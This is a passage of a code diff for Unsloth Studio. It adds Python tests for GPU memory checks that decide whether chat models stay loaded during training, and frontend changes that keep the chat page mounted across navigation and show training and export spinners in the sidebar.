+        self.assertEqual(out["gguf"], "gemma.gguf")
+        self.assertFalse(out["loading"])  # healthy/loaded -> safe to size
+        self.assertTrue(out["any"])
+
+    def test_one_backend_raising_does_not_break_the_other(self):
+        bad_inf = SimpleNamespace()  # missing attributes -> AttributeError
+        with _patch_backends(bad_inf, _fake_llama_backend(active = True)):
+            out = tv.summarize_resident_chat()
+        self.assertIsNone(out["hf"])
+        self.assertTrue(out["any"])  # GGUF still detected
+
+
+# ── can_keep_during_training (auto mode) ─────────────────────────────────────
+
+
+_BASE_KW = dict(
+    model_name = "unsloth/Qwen3-4B",
+    hf_token = None,
+    training_type = "LoRA/QLoRA",
+    load_in_4bit = True,
+    batch_size = 2,
+    max_seq_length = 2048,
+    lora_rank = 16,
+    target_modules = None,
+    gradient_checkpointing = "unsloth",
+    optimizer = "adamw_8bit",
+    gpu_ids = None,
+)
+
+
+class TestCanKeepAuto(_GpuCacheResetMixin, unittest.TestCase):
+    def _run(
+        self,
+        auto_return,
+        *,
+        device = DeviceType.CUDA,
+        **overrides,
+    ):
+        kw = {**_BASE_KW, **overrides}
+        with (
+            patch("utils.hardware.get_device", return_value = device),
+            patch("utils.hardware.auto_select_gpu_ids", return_value = auto_return) as auto_mock,
+        ):
+            keep, info = tv.can_keep_chat_during_training(**kw)
+        return keep, info, auto_mock
+
+    def test_keep_when_abundant(self):
+        # required 10 -> threshold 10*1.15+4 = 15.5; usable 30 >> 15.5.
+        meta = {"selection_mode": "auto", "required_gb": 10.0, "usable_gb": 30.0}
+        keep, info, _ = self._run(([1], meta))
+        self.assertTrue(keep)
+        self.assertEqual(info["mode"], "auto")
+
+    def test_unload_when_within_margin(self):
+        # required 10 -> threshold 15.5; usable 15.0 fits raw but not the margin.
+        meta = {"selection_mode": "auto", "required_gb": 10.0, "usable_gb": 15.0}
+        keep, _, _ = self._run(([0], meta))
+        self.assertFalse(keep)
+
+    def test_unload_on_fallback_all(self):
+        meta = {"selection_mode": "fallback_all", "required_gb": 10.0, "usable_gb": 100.0}
+        keep, _, _ = self._run(([0, 1], meta))
+        self.assertFalse(keep)
+
+    def test_unload_when_estimate_unavailable(self):
+        meta = {"selection_mode": "auto", "required_gb": None, "usable_gb": None}
+        keep, _, _ = self._run((None, meta))
+        self.assertFalse(keep)
+
+    def test_unload_on_non_cuda(self):
+        keep, info, auto_mock = self._run(([0], {}), device = DeviceType.CPU)
+        self.assertFalse(keep)
+        self.assertEqual(info["mode"], "non_cuda")
+        auto_mock.assert_not_called()
+
+    def test_full_finetuning_forces_16bit_in_estimate(self):
+        meta = {"selection_mode": "auto", "required_gb": 10.0, "usable_gb": 30.0}
+        _keep, _info, auto_mock = self._run(
+            ([0], meta), training_type = "Full Finetuning", load_in_4bit = True
+        )
+        self.assertFalse(auto_mock.call_args.kwargs["load_in_4bit"])
+
+    def test_hf_token_forwarded(self):
+        meta = {"selection_mode": "auto", "required_gb": 10.0, "usable_gb": 30.0}
+        _keep, _info, auto_mock = self._run(([0], meta), hf_token = "hf_secret")
+        self.assertEqual(auto_mock.call_args.kwargs["hf_token"], "hf_secret")
+
+    def test_probe_exception_defaults_to_unload(self):
+        kw = {**_BASE_KW}
+        with (
+            patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
+            patch("utils.hardware.auto_select_gpu_ids", side_effect = RuntimeError("boom")),
+        ):
+            keep, info = tv.can_keep_chat_during_training(**kw)
+        self.assertFalse(keep)
+        self.assertEqual(info["reason"], "probe_error")
+
+
+# ── can_keep_during_training (explicit GPU mode) ─────────────────────────────
+
+
+class TestCanKeepExplicit(_GpuCacheResetMixin, unittest.TestCase):
+    def _run(
+        self,
+        *,
+        required,
+        devices,
+        resolved,
+        gpu_ids,
+        est_meta = None,
+        resolve_side_effect = None,
+    ):
+        kw = {**_BASE_KW, "gpu_ids": gpu_ids}
+        resolve_kwargs = (
+            {"side_effect": resolve_side_effect}
+            if resolve_side_effect
+            else {"return_value": resolved}
+        )
+        with (
+            patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
+            patch(
+                "utils.hardware.estimate_required_model_memory_gb",
+                return_value = (required, est_meta or {}),
+            ),
+            patch(
+                "utils.hardware.get_visible_gpu_utilization",
+                return_value = {"devices": devices},
+            ),
+            patch("utils.hardware.resolve_requested_gpu_ids", **resolve_kwargs),
+            patch("utils.hardware.auto_select_gpu_ids") as auto_mock,
+        ):
+            keep, info = tv.can_keep_chat_during_training(**kw)
+        return keep, info, auto_mock
+
+    def test_keep_when_chosen_gpu_has_room(self):
+        devices = [{"index": 0, "vram_total_gb": 80.0, "vram_used_gb": 20.0}]
+        keep, info, auto_mock = self._run(required = 30.0, devices = devices, resolved = [0], gpu_ids = [0])
+        # free 60 >= 30*1.15+4 = 38.5
+        self.assertTrue(keep)
+        self.assertEqual(info["mode"], "explicit")
+        auto_mock.assert_not_called()  # explicit mode never calls the selector
+
+    def test_unload_when_chosen_gpu_too_tight(self):
+        devices = [{"index": 0, "vram_total_gb": 24.0, "vram_used_gb": 20.0}]
+        keep, _, _ = self._run(required = 10.0, devices = devices, resolved = [0], gpu_ids = [0])
+        # free 4 < 10*1.15+4 = 15.5
+        self.assertFalse(keep)
+
+    def test_multi_gpu_overhead_applied(self):
+        # frees [20, 10]; without overhead usable=30, with overhead=20+10*0.85=28.5.
+        # required 22 -> threshold 22*1.15+4 = 29.3. 28.5 < 29.3 -> unload, proving
+        # the 0.85 overhead was applied (raw 30 would have kept).
+        devices = [
+            {"index": 0, "vram_total_gb": 24.0, "vram_used_gb": 4.0},
+            {"index": 1, "vram_total_gb": 24.0, "vram_used_gb": 14.0},
+        ]
+        keep, info, _ = self._run(required = 22.0, devices = devices, resolved = [0, 1], gpu_ids = [0, 1])
+        self.assertFalse(keep)
+        self.assertAlmostEqual(info["usable_gb"], 28.5, places = 3)
+
+    def test_requested_gpu_missing_from_devices_counts_as_zero(self):
+        devices = [{"index": 0, "vram_total_gb": 80.0, "vram_used_gb": 5.0}]
+        # resolved [3] is absent -> free 0 -> unload.
+        keep, _, _ = self._run(required = 5.0, devices = devices, resolved = [3], gpu_ids = [3])
+        self.assertFalse(keep)
+
+    def test_unload_when_estimate_none(self):
+        with (
+            patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
+            patch("utils.hardware.estimate_required_model_memory_gb", return_value = (None, {})),
+            patch("utils.hardware.resolve_requested_gpu_ids", return_value = [0]),
+        ):
+            keep, info = tv.can_keep_chat_during_training(**{**_BASE_KW, "gpu_ids": [0]})
+        self.assertFalse(keep)
+        self.assertEqual(info["reason"], "estimate_unavailable")
+
+    def test_per_gpu_floor_blocks_uneven_explicit_split(self):
+        # free [45, 10]: aggregate 53.5 >= 50 passes, but GPU1's 10 < per-GPU
+        # floor 25 -> unload (the tight GPU would OOM).
+        devices = [
+            {"index": 0, "vram_total_gb": 80.0, "vram_used_gb": 35.0},  # 45 free
+            {"index": 1, "vram_total_gb": 80.0, "vram_used_gb": 70.0},  # 10 free
+        ]
+        keep, info, _ = self._run(
+            required = 40.0,
+            devices = devices,
+            resolved = [0, 1],
+            gpu_ids = [0, 1],
+            est_meta = {"vram_breakdown": {"min_per_gpu_2": 25.0}},
+        )
+        self.assertFalse(keep)
+        self.assertAlmostEqual(info["min_free_gb"], 10.0, places = 3)
+
+    def test_per_gpu_floor_passes_when_even(self):
+        # Same aggregate, but both GPUs clear the 25 GB per-GPU floor -> keep.
+        devices = [
+            {"index": 0, "vram_total_gb": 80.0, "vram_used_gb": 45.0},  # 35 free
+            {"index": 1, "vram_total_gb": 80.0, "vram_used_gb": 50.0},  # 30 free
+        ]
+        keep, _, _ = self._run(
+            required = 40.0,
+            devices = devices,
+            resolved = [0, 1],
+            gpu_ids = [0, 1],
+            est_meta = {"vram_breakdown": {"min_per_gpu_2": 25.0}},
+        )
+        self.assertTrue(keep)
+
+    def test_invalid_gpu_ids_keeps_chat_instead_of_unloading(self):
+        # resolve raising -> request will 400 before training, so leave chat alone.
+        keep, info, _ = self._run(
+            required = 5.0,
+            devices = [],
+            resolved = None,
+            gpu_ids = [99],
+            resolve_side_effect = ValueError("Invalid gpu_ids [99]"),
+        )
+        self.assertTrue(keep)
+        self.assertEqual(info["reason"], "invalid_gpu_ids")
+
+
+# ── free_chat_models_for_training ────────────────────────────────────────────
+
+
+class TestFreeChatModels(_GpuCacheResetMixin, unittest.TestCase):
+    def test_unloads_both_backends(self):
+        inf = _fake_inference_backend(active = "unsloth/Qwen3-4B")
+        llama = _fake_llama_backend(active = True, identifier = "gemma.gguf")
+        with _patch_backends(inf, llama):
+            freed = tv.free_chat_models_for_training(reason = "test")
+        inf._shutdown_subprocess.assert_called_once()
+        llama.unload_model.assert_called_once()
+        self.assertIn("hf:unsloth/Qwen3-4B", freed)
+        self.assertIn("gguf:gemma.gguf", freed)
+        # State cleared so a later resident check is accurate.
+        self.assertIsNone(inf.active_model_name)
+        self.assertEqual(inf.models, {})
+        self.assertEqual(inf.loading_models, set())
+
+    def test_unloads_gguf_only(self):
+        inf = _fake_inference_backend()  # nothing resident
+        llama = _fake_llama_backend(active = True, identifier = "gemma.gguf")
+        with _patch_backends(inf, llama):
+            freed = tv.free_chat_models_for_training(reason = "test")
+        inf._shutdown_subprocess.assert_not_called()
+        llama.unload_model.assert_called_once()
+        self.assertEqual(freed, ["gguf:gemma.gguf"])
+
+    def test_leaves_cpu_only_gguf_alone(self):
+        # Killing a CPU-only llama-server cannot reclaim VRAM, so don't.
+        inf = _fake_inference_backend()
+        llama = _fake_llama_backend(active = True, identifier = "cpu.gguf", gpu_offload = False)
+        with _patch_backends(inf, llama):
+            freed = tv.free_chat_models_for_training(reason = "test")
+        llama.unload_model.assert_not_called()
+        self.assertEqual(freed, [])
+
+    def test_unloads_inflight_hf_load(self):
+        inf = _fake_inference_backend(active = None, loading = ["unsloth/Qwen3-4B"])
+        llama = _fake_llama_backend(active = False)
+        with _patch_backends(inf, llama):
+            freed = tv.free_chat_models_for_training(reason = "test")
+        inf._shutdown_subprocess.assert_called_once()
+        self.assertEqual(freed, ["hf:unsloth/Qwen3-4B"])
+
+    def test_nothing_to_free(self):
+        inf = _fake_inference_backend()
+        llama = _fake_llama_backend(active = False)
+        with _patch_backends(inf, llama):
+            freed = tv.free_chat_models_for_training(reason = "test")
+        self.assertEqual(freed, [])
+
+    def test_hf_failure_still_unloads_gguf(self):
+        bad_inf = SimpleNamespace()  # AttributeError on access
+        llama = _fake_llama_backend(active = True, identifier = "gemma.gguf")
+        with _patch_backends(bad_inf, llama):
+            freed = tv.free_chat_models_for_training(reason = "test")
+        llama.unload_model.assert_called_once()
+        self.assertEqual(freed, ["gguf:gemma.gguf"])
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index 77b819aa63..f4f40e73f6 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -6,9 +6,15 @@ import { Navbar } from "@/components/navbar";
 import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { SidebarInset, SidebarProvider } from "@/components/ui/sidebar";
 import { SettingsDialog, useSettingsDialogStore } from "@/features/settings";
+import {
+  ChatPage,
+  clearNewChatDraft,
+  useChatRuntimeStore,
+  type ChatSearch,
+} from "@/features/chat";
 import { RemoteCodeConsentDialog } from "@/features/security";
-import { clearNewChatDraft, useChatRuntimeStore } from "@/features/chat";
 import { useTrainingUnloadGuard } from "@/features/training";
+import { useExportRuntimeLifecycle } from "@/features/export";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
 import { useT, type TranslationKey } from "@/i18n";
 import {
@@ -20,7 +26,13 @@ import {
   useRouterState,
 } from "@tanstack/react-router";
 import { AnimatePresence, motion } from "motion/react";
-import { Suspense, useEffect, useLayoutEffect } from "react";
+import {
+  Suspense,
+  useEffect,
+  useLayoutEffect,
+  useMemo,
+  useState,
+} from "react";
 import { AppProvider } from "../provider";
 
 declare module "@tanstack/react-router" {
@@ -78,11 +90,51 @@ function RootLayout() {
   const t = useT();
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const hideNavbar = HIDDEN_NAVBAR_ROUTES.includes(pathname);
-  const isChatRoute = pathname.startsWith("/chat");
+  // Exact match: a prefix would treat /chatty as chat, hiding its not-found UI.
+  const isChatRoute = pathname === "/chat";
   const { pinned, setPinned, togglePinned } = useSidebarPin();
   const navigate = useNavigate();
 
+  // ChatPage is mounted persistently below (not via the /chat route) so an in-flight
+  // generation survives leaving the tab: it mounts lazily on first /chat visit, then
+  // stays mounted, its search frozen to the last /chat value while off-route.
+  const rawSearch = useRouterState({ select: (s) => s.location.search }) as
+    | Record<string, unknown>
+    | undefined;
+  const rawThread =
+    typeof rawSearch?.thread === "string" ? rawSearch.thread : undefined;
+  const rawCompare =
+    typeof rawSearch?.compare === "string" ? rawSearch.compare : undefined;
+  const rawNew = typeof rawSearch?.new === "string" ? rawSearch.new : undefined;
+  const rawProject =
+    typeof rawSearch?.project === "string" ? rawSearch.project : undefined;
+  const liveChatSearch = useMemo<ChatSearch>(
+    () => ({
+      thread: rawThread,
+      compare: rawCompare,
+      new: rawNew,
+      project: rawProject,
+    }),
+    [rawThread, rawCompare, rawNew, rawProject],
+  );
+  // Freeze the last /chat search and latch "mounted" via render-phase setState
+  // (React's "adjust state during render" pattern), avoiding effects/refs.
+  const [frozenChatSearch, setFrozenChatSearch] =
+    useState<ChatSearch>(liveChatSearch);
+  const [chatMounted, setChatMounted] = useState(isChatRoute);
+  if (isChatRoute && frozenChatSearch !== liveChatSearch) {
+    setFrozenChatSearch(liveChatSearch);
+  }
+  if (isChatRoute && !chatMounted) {
+    setChatMounted(true);
+  }
+  const chatSearch = isChatRoute ? liveChatSearch : frozenChatSearch;
+  const shouldMountChat = isChatRoute || chatMounted;
+
   useTrainingUnloadGuard();
+  // Global export driver: streams worker logs and tracks status from any route
+  // so an export keeps running and stays visible while training / chatting.
+  useExportRuntimeLifecycle();
 
   const matchedTitle = useMatches({
     select: (matches) => {
@@ -134,6 +186,12 @@ function RootLayout() {
   useEffect(() => {
     if (isChatRoute) return;
     const chatRuntime = useChatRuntimeStore.getState();
+    // A URL-less chat's provider is keyed off the active thread id; clearing it
+    // mid-generation would remount and cancel the stream. Only reset when idle.
+    const anyRunning = Object.values(chatRuntime.runningByThreadId).some(
+      Boolean,
+    );
+    if (anyRunning) return;
     chatRuntime.setActiveProjectId(null);
     chatRuntime.setActiveThreadId(null);
     chatRuntime.setIncognito(false);
@@ -163,25 +221,43 @@ function RootLayout() {
             <div
               className={`relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col ${isChatRoute ? "overflow-hidden" : "overflow-visible"} ${isChatRoute ? "" : "pt-14 md:pt-0"}`}
             >
+              {/* Stays mounted across navigation so an in-flight generation is
+                  not cancelled when leaving /chat; hidden (not unmounted) off-route.
+                  `active` lets ChatPage close its body-portaled surfaces (model
+                  selector, settings sheet, tour) so they don't bleed over other tabs. */}
+              {shouldMountChat && (
+                <div
+                  className={
+                    isChatRoute
+                      ? "flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-hidden"
+                      : "hidden"
+                  }
+                  inert={!isChatRoute || undefined}
+                >
+                  <ChatPage search={chatSearch} active={isChatRoute} />
+                </div>
+              )}
               {/* Use mode="popLayout" instead of "wait" to prevent UI freezes when
                   switching from heavy pages (like Export with many checkpoints).
                   "popLayout" allows the new route to mount immediately while the
                   old one animates out, avoiding blocking on expensive exit renders.
                   See issue #5850. */}
-              <AnimatePresence initial={false} mode="popLayout">
-                <motion.div
-                  key={pathname}
-                  initial={{ opacity: 0 }}
-                  animate={{ opacity: 1 }}
-                  exit={{ opacity: 0 }}
-                  transition={{ duration: 0.15 }}
-                  className={`flex min-h-0 min-w-0 flex-1 basis-0 flex-col ${isChatRoute ? "overflow-hidden" : "overflow-visible"}`}
-                >
-                  <Suspense fallback={<RouteFallback />}>
-                    <Outlet />
-                  </Suspense>
-                </motion.div>
-              </AnimatePresence>
+              {!isChatRoute && (
+                <AnimatePresence initial={false} mode="popLayout">
+                  <motion.div
+                    key={pathname}
+                    initial={{ opacity: 0 }}
+                    animate={{ opacity: 1 }}
+                    exit={{ opacity: 0 }}
+                    transition={{ duration: 0.15 }}
+                    className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-visible"
+                  >
+                    <Suspense fallback={<RouteFallback />}>
+                      <Outlet />
+                    </Suspense>
+                  </motion.div>
+                </AnimatePresence>
+              )}
             </div>
           </SidebarInset>
         </SidebarProvider>
diff --git a/studio/frontend/src/app/routes/chat.tsx b/studio/frontend/src/app/routes/chat.tsx
index a5514cdee1..1e5ce00b79 100644
--- a/studio/frontend/src/app/routes/chat.tsx
+++ b/studio/frontend/src/app/routes/chat.tsx
@@ -1,28 +1,18 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { ChatPage } from "@/features/chat/chat-page";
+import { validateChatSearch } from "@/features/chat";
 import { createRoute } from "@tanstack/react-router";
 import { requireAuth } from "../auth-guards";
 import { Route as rootRoute } from "./__root";
 
-export type ChatSearch = {
-  thread?: string;
-  compare?: string;
-  new?: string;
-  project?: string;
-};
-
+// RootLayout renders ChatPage persistently (so it survives leaving the tab); this
+// route only owns the URL, auth gate, and search validation.
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/chat",
   staticData: { title: "Chat" },
   beforeLoad: () => requireAuth(),
-  validateSearch: (search: Record<string, unknown>): ChatSearch => ({
-    thread: typeof search.thread === "string" ? search.thread : undefined,
-    compare: typeof search.compare === "string" ? search.compare : undefined,
-    new: typeof search.new === "string" ? search.new : undefined,
-    project: typeof search.project === "string" ? search.project : undefined,
-  }),
-  component: ChatPage,
+  validateSearch: (search: Record<string, unknown>) => validateChatSearch(search),
+  component: () => null,
 });
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index e15b3a0bdf..4ca1d466fc 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -41,6 +41,7 @@ import {
 } from "@/components/ui/dialog";
 import { Input } from "@/components/ui/input";
 import { Button } from "@/components/ui/button";
+import { Spinner } from "@/components/ui/spinner";
 import { Switch } from "@/components/ui/switch";
 import { useAnimatedThemeToggle } from "@/components/ui/animated-theme-toggler";
 import { cn } from "@/lib/utils";
@@ -116,10 +117,12 @@ import {
   emitTrainingRunUpdated,
   removeTrainingUnloadGuard,
   renameTrainingRun,
+  useTrainingCompletionWatch,
   useTrainingHistorySidebarItems,
   useTrainingRuntimeStore,
 } from "@/features/training";
 import type { TrainingRunSummary } from "@/features/training";
+import { useExportRuntimeStore } from "@/features/export";
 import { useEffect, useMemo, useRef, useState, type ReactNode } from "react";
 import { toast } from "@/lib/toast";
 import { ShutdownDialog } from "@/components/shutdown-dialog";
@@ -207,6 +210,7 @@ function NavItem({
   children,
   dataTour,
   className,
+  spinner,
 }: {
   icon: typeof ZapIcon;
   label: string;
@@ -216,6 +220,7 @@ function NavItem({
   children?: ReactNode;
   dataTour?: string;
   className?: string;
+  spinner?: boolean;
 }) {
   return (
     <SidebarMenuItem className={className}>
@@ -230,7 +235,14 @@ function NavItem({
         >
           <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-icon! shrink-0 group-hover/menu-button:animate-icon-pop" />
           <span className="text-[14.5px] leading-[19px] tracking-nav">{label}</span>
+          {spinner && (
+            <Spinner className="ml-auto size-3.5 shrink-0 text-muted-foreground group-data-[collapsible=icon]:hidden" />
+          )}
         </SidebarMenuButton>
+        {spinner && (
+          // Collapsed (icon-only) rail: small spinner badge over the icon corner.
+          <Spinner className="pointer-events-none absolute right-1 top-1 hidden size-2.5 text-muted-foreground group-data-[collapsible=icon]:block" />
+        )}
       </div>
       {children}
     </SidebarMenuItem>
@@ -254,7 +266,6 @@ export function AppSidebar() {
     if (isMobile) setOpenMobile(false);
   };
 
-  const isTrainingRunning = useTrainingRuntimeStore((s) => s.isTrainingRunning);
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const [shutdownOpen, setShutdownOpen] = useState(false);
 
@@ -328,6 +339,15 @@ export function AppSidebar() {
   const [pinnedOpen, setPinnedOpen] = useState(true);
   const storeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
   const setActiveThreadId = useChatRuntimeStore((s) => s.setActiveThreadId);
+  const anyChatRunning = useChatRuntimeStore((s) =>
+    Object.values(s.runningByThreadId).some(Boolean),
+  );
+  // The thread currently generating (if any), so "Return to Chat" lands on the
+  // live chat rather than an empty new-chat draft left active after New Chat.
+  const runningThreadId = useChatRuntimeStore((s) => {
+    const entry = Object.entries(s.runningByThreadId).find(([, on]) => on);
+    return entry ? entry[0] : null;
+  });
   const activeThreadId = isChatRoute
     ? (search.thread as string | undefined) ??
       (search.compare as string | undefined) ??
@@ -347,6 +367,20 @@ export function AppSidebar() {
   const currentRunViewActive = useTrainingRuntimeStore((s) => s.currentRunViewActive);
   const selectedHistoryRunId = useTrainingRuntimeStore((s) => s.selectedHistoryRunId);
   const setSelectedHistoryRunId = useTrainingRuntimeStore((s) => s.setSelectedHistoryRunId);
+  // Running or starting up. Drives the Train spinner + New Chat / Return to Chat swap.
+  const trainingInProgress = useTrainingRuntimeStore((s) => s.isTrainingRunning || s.isStarting);
+  // Export runs in the background (parallel with training/inference); reflect it
+  // on the Export nav item so it is visible from any tab.
+  const exportInProgress = useExportRuntimeStore((s) => s.isExporting);
+  // On any non-chat tab (Train, Export, Recipes, Projects, Hub, ...) offer a way
+  // back to the live chat instead of starting a new one, whenever a chat is
+  // running or its thread is still active, or a training / export is in progress.
+  const showReturnToChat =
+    !isChatRoute &&
+    (trainingInProgress || exportInProgress || anyChatRunning || storeThreadId != null);
+  // The Train-page status poll doesn't run off-route; keep state fresh so the spinner
+  // clears even if a run finishes while the user is on another tab.
+  useTrainingCompletionWatch();
 
   // Recompute bottom-fade on mount and whenever list height can change
   // (items load, sections toggle, route switch) - onScroll never fires for
@@ -366,8 +400,6 @@ export function AppSidebar() {
     isStudioRoute,
   ]);
 
-  const chatDisabled = isTrainingRunning;
-
   function chatSearchForProject(projectId: string | null) {
     if (projectId) {
       return { project: projectId };
@@ -378,7 +410,6 @@ export function AppSidebar() {
   }
 
   function openNewChat(projectId = activeProjectId) {
-    if (chatDisabled) return;
     clearNewChatDraft();
     setActiveThreadId(null);
     useChatRuntimeStore.getState().setActiveProjectId(projectId);
@@ -390,7 +421,6 @@ export function AppSidebar() {
   }
 
   function openProject(projectId: string) {
-    if (chatDisabled) return;
     setActiveThreadId(null);
     useChatRuntimeStore.getState().setActiveProjectId(projectId);
     navigate({ to: "/chat", search: { project: projectId } });
@@ -902,7 +932,6 @@ export function AppSidebar() {
             to="/chat"
             onClick={(event) => {
               event.preventDefault();
-              if (chatDisabled) return;
               openNewChat(null);
             }}
             className="flex items-center gap-[6px] select-none"
@@ -975,23 +1004,37 @@ export function AppSidebar() {
           <SidebarMenu>
             <NavItem
               icon={PencilEdit02Icon}
-              label={t("shell.navigation.newChat")}
+              label={
+                showReturnToChat
+                  ? t("shell.navigation.returnToChat")
+                  : t("shell.navigation.newChat")
+              }
               active={
                 isChatRoute &&
                 !search.thread &&
                 !search.compare &&
                 !search.project
               }
-              disabled={chatDisabled}
-              onClick={() => openNewChat(null)}
+              onClick={() => {
+                if (showReturnToChat) {
+                  // Prefer the running thread so we return to the live generation,
+                  // not the empty new chat that became active after New Chat.
+                  if (runningThreadId && runningThreadId !== storeThreadId) {
+                    navigate({ to: "/chat", search: { thread: runningThreadId } });
+                  } else {
+                    navigate({ to: "/chat" });
+                  }
+                  closeMobileIfOpen();
+                  return;
+                }
+                openNewChat(null);
+              }}
             />
             <NavItem
               icon={Search01Icon}
               label={t("shell.navigation.search")}
               active={false}
               onClick={() => {
-                // Search is read-only and never runs inference, so it stays
-                // available while training (unlike New chat, gated on chatDisabled).
                 useChatSearchStore.getState().open();
                 closeMobileIfOpen();
               }}
@@ -1062,6 +1105,7 @@ export function AppSidebar() {
                   pathname === "/studio" || pathname.startsWith("/studio/")
                 }
                 disabled={chatOnly}
+                spinner={trainingInProgress}
                 onClick={() => {
                   if (chatOnly) return;
                   navigate({ to: "/studio" });
@@ -1089,6 +1133,7 @@ export function AppSidebar() {
                     label={t("shell.navigation.train")}
                     active={pathname === "/studio" || pathname.startsWith("/studio/")}
                     disabled={chatOnly}
+                    spinner={trainingInProgress}
                     onClick={() => {
                       if (chatOnly) return;
                       navigate({ to: "/studio" });
@@ -1109,6 +1154,7 @@ export function AppSidebar() {
                     label={t("shell.navigation.export")}
                     active={pathname === "/export" || pathname.startsWith("/export/")}
                     disabled={chatOnly}
+                    spinner={exportInProgress}
                     onClick={() => {
                       if (chatOnly) return;
                       navigate({ to: "/export" });
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 91bfe56120..956056b83b 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2181,6 +2181,13 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
       // Colab-style proxies can swallow fetch aborts, so also POST
       // /inference/cancel explicitly on abort.
       const onAbortCancel = () => {
+        // assistant-ui aborts with AbortError(detach=true) when a thread's runtime
+        // unmounts (navigation / background thread switch) and detach=false for an
+        // explicit Stop. Only a real Stop cancels the backend run; a detach must
+        // leave a backgrounded generation streaming.
+        if ((abortSignal.reason as { detach?: boolean } | undefined)?.detach) {
+          return;
+        }
         const body: Record<string, string> = { cancel_id: cancelId };
         if (sandboxSessionId) body.session_id = sandboxSessionId;
         // Plain fetch, not authFetch: authFetch redirects to login on
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index f3235fa447..5003072903 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -111,6 +111,10 @@ export async function validateModel(
       native_path_lease: payload.nativePathLease ?? null,
       hf_token: payload.hf_token,
       gguf_variant: payload.gguf_variant ?? null,
+      // Send the intended load settings so validate's VRAM check matches the
+      // follow-up /load and doesn't unload for a load /load would then reject.
+      max_seq_length: payload.max_seq_length,
+      load_in_4bit: payload.load_in_4bit,
     }),
   });
   return parseJsonOrThrow<ValidateModelResponse>(response);
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 5ed834fb9e..5c1da88022 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -1,7 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import type { ChatSearch } from "@/app/routes/chat";
 import {
   type DeletedModelRef,
   type ExternalModelOption,
@@ -36,7 +35,7 @@ import {
   LayoutAlignRightIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useNavigate, useRouterState, useSearch } from "@tanstack/react-router";
+import { useNavigate } from "@tanstack/react-router";
 import { Tooltip as TooltipPrimitive } from "radix-ui";
 import type { PanelImperativeHandle } from "react-resizable-panels";
 import {
@@ -83,7 +82,11 @@ import {
   providerSupportsBuiltinWebFetch,
   providerSupportsBuiltinWebSearch,
 } from "./provider-capabilities";
-import { ChatRuntimeProvider } from "./runtime-provider";
+import {
+  ChatActiveContext,
+  ChatRuntimeProvider,
+  useChatActive,
+} from "./runtime-provider";
 import {
   type CompareHandle,
   type CompareHandles,
@@ -521,6 +524,7 @@ const LoraCompareContent = memo(function LoraCompareContent({
   const handlesRef = useRef<Record<string, CompareHandle>>({});
   const [baseThreadId, setBaseThreadId] = useState<string>();
   const [loraThreadId, setLoraThreadId] = useState<string>();
+  const active = useChatActive();
 
   const compareRunning = useChatRuntimeStore(
     (s) => Object.keys(s.runningByThreadId).length > 0,
@@ -549,12 +553,16 @@ const LoraCompareContent = memo(function LoraCompareContent({
     <CompareShell
       handlesRef={handlesRef}
       composer={
-        <SharedComposer
-          handlesRef={handlesRef}
-          onExitCompare={onExitCompare}
-          model1ThreadId={baseThreadId}
-          model2ThreadId={loraThreadId}
-        />
+        active ? (
+          <SharedComposer
+            handlesRef={handlesRef}
+            onExitCompare={onExitCompare}
+            model1ThreadId={baseThreadId}
+            model2ThreadId={loraThreadId}
+          />
+        ) : (
+          <></>
+        )
       }
     >
       <>
@@ -621,6 +629,9 @@ function GeneralCompareHeader({
   deleteDisabled?: boolean;
   side: "left" | "right";
 }): ReactElement {
+  // Controlled so the body-portaled popover can't linger over another tab off-route.
+  const active = useChatActive();
+  const [selectorOpen, setSelectorOpen] = useState(false);
   return (
     <div
       className={cn(
@@ -639,6 +650,8 @@ function GeneralCompareHeader({
         deleteDisabled={deleteDisabled}
         variant="ghost"
         className="max-w-[80%] !h-[34px]"
+        open={active && selectorOpen}
+        onOpenChange={(open) => setSelectorOpen(active && open)}
       />
     </div>
   );
@@ -672,6 +685,7 @@ const GeneralCompareContent = memo(function GeneralCompareContent({
 
   const globalCheckpoint = useChatRuntimeStore((s) => s.params.checkpoint);
   const globalGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  const active = useChatActive();
   const compareRunning = useChatRuntimeStore(
     (s) => Object.keys(s.runningByThreadId).length > 0,
   );
